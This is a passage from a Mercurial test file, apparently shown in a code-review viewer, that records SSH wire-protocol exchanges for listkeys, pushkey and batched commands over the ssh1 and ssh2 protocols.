1790 1786 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1791 1787 o> readline() -> 2:
1792 1788 o> 1\n
1793 1789 o> readline() -> 1:
1794 1790 o> \n
1795 1791 sending listkeys command
1796 1792 i> write(9) -> 9:
1797 1793 i> listkeys\n
1798 1794 i> write(12) -> 12:
1799 1795 i> namespace 6\n
1800 1796 i> write(6) -> 6: phases
1801 1797 i> flush() -> None
1802 1798 o> bufferedreadline() -> 4:
1803 1799 o> 101\n
1804 1800 o> bufferedread(101) -> 101:
1805 1801 o> 20b8a89289d80036e6c4e87c2083e3bea1586637\t1\n
1806 1802 o> c4750011d906c18ea2f0527419cbc1a544435150\t1\n
1807 1803 o> publishing\tTrue
1808 1804 response: {b'20b8a89289d80036e6c4e87c2083e3bea1586637': b'1', b'c4750011d906c18ea2f0527419cbc1a544435150': b'1', b'publishing': b'True'}
1809 1805
1810 1806 testing ssh2
1811 1807 creating ssh peer from handshake results
1812 1808 i> write(171) -> 171:
1813 1809 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1814 1810 i> hello\n
1815 1811 i> between\n
1816 1812 i> pairs 81\n
1817 1813 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1818 1814 i> flush() -> None
1819 1815 o> readline() -> 62:
1820 1816 o> upgraded * exp-ssh-v2-0001\n (glob)
1821 1817 o> readline() -> 4:
1822 1818 o> 412\n
1823 1819 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1824 1820 o> read(1) -> 1:
1825 1821 o> \n
1826 1822 sending listkeys command
1827 1823 i> write(9) -> 9:
1828 1824 i> listkeys\n
1829 1825 i> write(12) -> 12:
1830 1826 i> namespace 6\n
1831 1827 i> write(6) -> 6: phases
1832 1828 i> flush() -> None
1833 1829 o> bufferedreadline() -> 4:
1834 1830 o> 101\n
1835 1831 o> bufferedread(101) -> 101:
1836 1832 o> 20b8a89289d80036e6c4e87c2083e3bea1586637\t1\n
1837 1833 o> c4750011d906c18ea2f0527419cbc1a544435150\t1\n
1838 1834 o> publishing\tTrue
1839 1835 response: {b'20b8a89289d80036e6c4e87c2083e3bea1586637': b'1', b'c4750011d906c18ea2f0527419cbc1a544435150': b'1', b'publishing': b'True'}
1840 1836
1841 1837 Single draft head
1842 1838
1843 1839 $ hg phase --public -r 2
1844 1840 $ debugwireproto << EOF
1845 1841 > command listkeys
1846 1842 > namespace phases
1847 1843 > EOF
1848 1844 testing ssh1
1849 1845 creating ssh peer from handshake results
1850 1846 i> write(104) -> 104:
1851 1847 i> hello\n
1852 1848 i> between\n
1853 1849 i> pairs 81\n
1854 1850 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1855 1851 i> flush() -> None
1856 1852 o> readline() -> 4:
1857 1853 o> 413\n
1858 1854 o> readline() -> 413:
1859 1855 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1860 1856 o> readline() -> 2:
1861 1857 o> 1\n
1862 1858 o> readline() -> 1:
1863 1859 o> \n
1864 1860 sending listkeys command
1865 1861 i> write(9) -> 9:
1866 1862 i> listkeys\n
1867 1863 i> write(12) -> 12:
1868 1864 i> namespace 6\n
1869 1865 i> write(6) -> 6: phases
1870 1866 i> flush() -> None
1871 1867 o> bufferedreadline() -> 3:
1872 1868 o> 58\n
1873 1869 o> bufferedread(58) -> 58:
1874 1870 o> c4750011d906c18ea2f0527419cbc1a544435150\t1\n
1875 1871 o> publishing\tTrue
1876 1872 response: {b'c4750011d906c18ea2f0527419cbc1a544435150': b'1', b'publishing': b'True'}
1877 1873
1878 1874 testing ssh2
1879 1875 creating ssh peer from handshake results
1880 1876 i> write(171) -> 171:
1881 1877 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1882 1878 i> hello\n
1883 1879 i> between\n
1884 1880 i> pairs 81\n
1885 1881 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1886 1882 i> flush() -> None
1887 1883 o> readline() -> 62:
1888 1884 o> upgraded * exp-ssh-v2-0001\n (glob)
1889 1885 o> readline() -> 4:
1890 1886 o> 412\n
1891 1887 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1892 1888 o> read(1) -> 1:
1893 1889 o> \n
1894 1890 sending listkeys command
1895 1891 i> write(9) -> 9:
1896 1892 i> listkeys\n
1897 1893 i> write(12) -> 12:
1898 1894 i> namespace 6\n
1899 1895 i> write(6) -> 6: phases
1900 1896 i> flush() -> None
1901 1897 o> bufferedreadline() -> 3:
1902 1898 o> 58\n
1903 1899 o> bufferedread(58) -> 58:
1904 1900 o> c4750011d906c18ea2f0527419cbc1a544435150\t1\n
1905 1901 o> publishing\tTrue
1906 1902 response: {b'c4750011d906c18ea2f0527419cbc1a544435150': b'1', b'publishing': b'True'}
1907 1903
1908 1904 All public heads
1909 1905
1910 1906 $ hg phase --public -r 4
1911 1907 $ debugwireproto << EOF
1912 1908 > command listkeys
1913 1909 > namespace phases
1914 1910 > EOF
1915 1911 testing ssh1
1916 1912 creating ssh peer from handshake results
1917 1913 i> write(104) -> 104:
1918 1914 i> hello\n
1919 1915 i> between\n
1920 1916 i> pairs 81\n
1921 1917 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1922 1918 i> flush() -> None
1923 1919 o> readline() -> 4:
1924 1920 o> 413\n
1925 1921 o> readline() -> 413:
1926 1922 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1927 1923 o> readline() -> 2:
1928 1924 o> 1\n
1929 1925 o> readline() -> 1:
1930 1926 o> \n
1931 1927 sending listkeys command
1932 1928 i> write(9) -> 9:
1933 1929 i> listkeys\n
1934 1930 i> write(12) -> 12:
1935 1931 i> namespace 6\n
1936 1932 i> write(6) -> 6: phases
1937 1933 i> flush() -> None
1938 1934 o> bufferedreadline() -> 3:
1939 1935 o> 15\n
1940 1936 o> bufferedread(15) -> 15: publishing\tTrue
1941 1937 response: {b'publishing': b'True'}
1942 1938
1943 1939 testing ssh2
1944 1940 creating ssh peer from handshake results
1945 1941 i> write(171) -> 171:
1946 1942 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1947 1943 i> hello\n
1948 1944 i> between\n
1949 1945 i> pairs 81\n
1950 1946 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1951 1947 i> flush() -> None
1952 1948 o> readline() -> 62:
1953 1949 o> upgraded * exp-ssh-v2-0001\n (glob)
1954 1950 o> readline() -> 4:
1955 1951 o> 412\n
1956 1952 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
1957 1953 o> read(1) -> 1:
1958 1954 o> \n
1959 1955 sending listkeys command
1960 1956 i> write(9) -> 9:
1961 1957 i> listkeys\n
1962 1958 i> write(12) -> 12:
1963 1959 i> namespace 6\n
1964 1960 i> write(6) -> 6: phases
1965 1961 i> flush() -> None
1966 1962 o> bufferedreadline() -> 3:
1967 1963 o> 15\n
1968 1964 o> bufferedread(15) -> 15: publishing\tTrue
1969 1965 response: {b'publishing': b'True'}
1970 1966
1971 1967 Setting public phase via pushkey
1972 1968
1973 1969 $ hg phase --draft --force -r .
1974 1970
1975 1971 $ debugwireproto << EOF
1976 1972 > command pushkey
1977 1973 > namespace phases
1978 1974 > key 7127240a084fd9dc86fe8d1f98e26229161ec82b
1979 1975 > old 1
1980 1976 > new 0
1981 1977 > EOF
1982 1978 testing ssh1
1983 1979 creating ssh peer from handshake results
1984 1980 i> write(104) -> 104:
1985 1981 i> hello\n
1986 1982 i> between\n
1987 1983 i> pairs 81\n
1988 1984 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1989 1985 i> flush() -> None
1990 1986 o> readline() -> 4:
1991 1987 o> 413\n
1992 1988 o> readline() -> 413:
1993 1989 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1994 1990 o> readline() -> 2:
1995 1991 o> 1\n
1996 1992 o> readline() -> 1:
1997 1993 o> \n
1998 1994 sending pushkey command
1999 1995 i> write(8) -> 8:
2000 1996 i> pushkey\n
2001 1997 i> write(7) -> 7:
2002 1998 i> key 40\n
2003 1999 i> write(40) -> 40: 7127240a084fd9dc86fe8d1f98e26229161ec82b
2004 2000 i> write(12) -> 12:
2005 2001 i> namespace 6\n
2006 2002 i> write(6) -> 6: phases
2007 2003 i> write(6) -> 6:
2008 2004 i> new 1\n
2009 2005 i> write(1) -> 1: 0
2010 2006 i> write(6) -> 6:
2011 2007 i> old 1\n
2012 2008 i> write(1) -> 1: 1
2013 2009 i> flush() -> None
2014 2010 o> bufferedreadline() -> 2:
2015 2011 o> 2\n
2016 2012 o> bufferedread(2) -> 2:
2017 2013 o> 1\n
2018 2014 response: True
2019 2015
2020 2016 testing ssh2
2021 2017 creating ssh peer from handshake results
2022 2018 i> write(171) -> 171:
2023 2019 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
2024 2020 i> hello\n
2025 2021 i> between\n
2026 2022 i> pairs 81\n
2027 2023 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
2028 2024 i> flush() -> None
2029 2025 o> readline() -> 62:
2030 2026 o> upgraded * exp-ssh-v2-0001\n (glob)
2031 2027 o> readline() -> 4:
2032 2028 o> 412\n
2033 2029 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
2034 2030 o> read(1) -> 1:
2035 2031 o> \n
2036 2032 sending pushkey command
2037 2033 i> write(8) -> 8:
2038 2034 i> pushkey\n
2039 2035 i> write(7) -> 7:
2040 2036 i> key 40\n
2041 2037 i> write(40) -> 40: 7127240a084fd9dc86fe8d1f98e26229161ec82b
2042 2038 i> write(12) -> 12:
2043 2039 i> namespace 6\n
2044 2040 i> write(6) -> 6: phases
2045 2041 i> write(6) -> 6:
2046 2042 i> new 1\n
2047 2043 i> write(1) -> 1: 0
2048 2044 i> write(6) -> 6:
2049 2045 i> old 1\n
2050 2046 i> write(1) -> 1: 1
2051 2047 i> flush() -> None
2052 2048 o> bufferedreadline() -> 2:
2053 2049 o> 2\n
2054 2050 o> bufferedread(2) -> 2:
2055 2051 o> 1\n
2056 2052 response: True
2057 2053
2058 2054 $ hg phase .
2059 2055 4: public
2060 2056
2061 2057 $ cd ..
2062 2058
2063 2059 Test batching of requests
2064 2060
2065 2061 $ hg init batching
2066 2062 $ cd batching
2067 2063 $ echo 0 > foo
2068 2064 $ hg add foo
2069 2065 $ hg -q commit -m initial
2070 2066 $ hg phase --public
2071 2067 $ echo 1 > foo
2072 2068 $ hg commit -m 'commit 1'
2073 2069 $ hg -q up 0
2074 2070 $ echo 2 > foo
2075 2071 $ hg commit -m 'commit 2'
2076 2072 created new head
2077 2073 $ hg book -r 1 bookA
2078 2074 $ hg book -r 2 bookB
2079 2075
2080 2076 $ debugwireproto << EOF
2081 2077 > batchbegin
2082 2078 > command heads
2083 2079 > command listkeys
2084 2080 > namespace bookmarks
2085 2081 > command listkeys
2086 2082 > namespace phases
2087 2083 > batchsubmit
2088 2084 > EOF
2089 2085 testing ssh1
2090 2086 creating ssh peer from handshake results
2091 2087 i> write(104) -> 104:
2092 2088 i> hello\n
2093 2089 i> between\n
2094 2090 i> pairs 81\n
2095 2091 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
2096 2092 i> flush() -> None
2097 2093 o> readline() -> 4:
2098 2094 o> 413\n
2099 2095 o> readline() -> 413:
2100 2096 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
2101 2097 o> readline() -> 2:
2102 2098 o> 1\n
2103 2099 o> readline() -> 1:
2104 2100 o> \n
2105 2101 sending batch with 3 sub-commands
2106 2102 i> write(6) -> 6:
2107 2103 i> batch\n
2108 2104 i> write(4) -> 4:
2109 2105 i> * 0\n
2110 2106 i> write(8) -> 8:
2111 2107 i> cmds 61\n
2112 2108 i> write(61) -> 61: heads ;listkeys namespace=bookmarks;listkeys namespace=phases
2113 2109 i> flush() -> None
2114 2110 o> bufferedreadline() -> 4:
2115 2111 o> 278\n
2116 2112 o> bufferedread(278) -> 278:
2117 2113 o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2118 2114 o> ;bookA\t4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2119 2115 o> bookB\tbfebe6bd38eebc6f8202e419c1171268987ea6a6;4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\t1\n
2120 2116 o> bfebe6bd38eebc6f8202e419c1171268987ea6a6\t1\n
2121 2117 o> publishing\tTrue
2122 2118 response #0: bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2123 2119 response #1: bookA\t4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\nbookB\tbfebe6bd38eebc6f8202e419c1171268987ea6a6
2124 2120 response #2: 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\t1\nbfebe6bd38eebc6f8202e419c1171268987ea6a6\t1\npublishing\tTrue
2125 2121
2126 2122 testing ssh2
2127 2123 creating ssh peer from handshake results
2128 2124 i> write(171) -> 171:
2129 2125 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
2130 2126 i> hello\n
2131 2127 i> between\n
2132 2128 i> pairs 81\n
2133 2129 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
2134 2130 i> flush() -> None
2135 2131 o> readline() -> 62:
2136 2132 o> upgraded * exp-ssh-v2-0001\n (glob)
2137 2133 o> readline() -> 4:
2138 2134 o> 412\n
2139 2135 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
2140 2136 o> read(1) -> 1:
2141 2137 o> \n
2142 2138 sending batch with 3 sub-commands
2143 2139 i> write(6) -> 6:
2144 2140 i> batch\n
2145 2141 i> write(4) -> 4:
2146 2142 i> * 0\n
2147 2143 i> write(8) -> 8:
2148 2144 i> cmds 61\n
2149 2145 i> write(61) -> 61: heads ;listkeys namespace=bookmarks;listkeys namespace=phases
2150 2146 i> flush() -> None
2151 2147 o> bufferedreadline() -> 4:
2152 2148 o> 278\n
2153 2149 o> bufferedread(278) -> 278:
2154 2150 o> bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2155 2151 o> ;bookA\t4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2156 2152 o> bookB\tbfebe6bd38eebc6f8202e419c1171268987ea6a6;4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\t1\n
2157 2153 o> bfebe6bd38eebc6f8202e419c1171268987ea6a6\t1\n
2158 2154 o> publishing\tTrue
2159 2155 response #0: bfebe6bd38eebc6f8202e419c1171268987ea6a6 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\n
2160 2156 response #1: bookA\t4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\nbookB\tbfebe6bd38eebc6f8202e419c1171268987ea6a6
2161 2157 response #2: 4ee3fcef1c800fa2bf23e20af7c83ff111d9c7ab\t1\nbfebe6bd38eebc6f8202e419c1171268987ea6a6\t1\npublishing\tTrue
General Comments 0
You need to be logged in to leave comments. Login now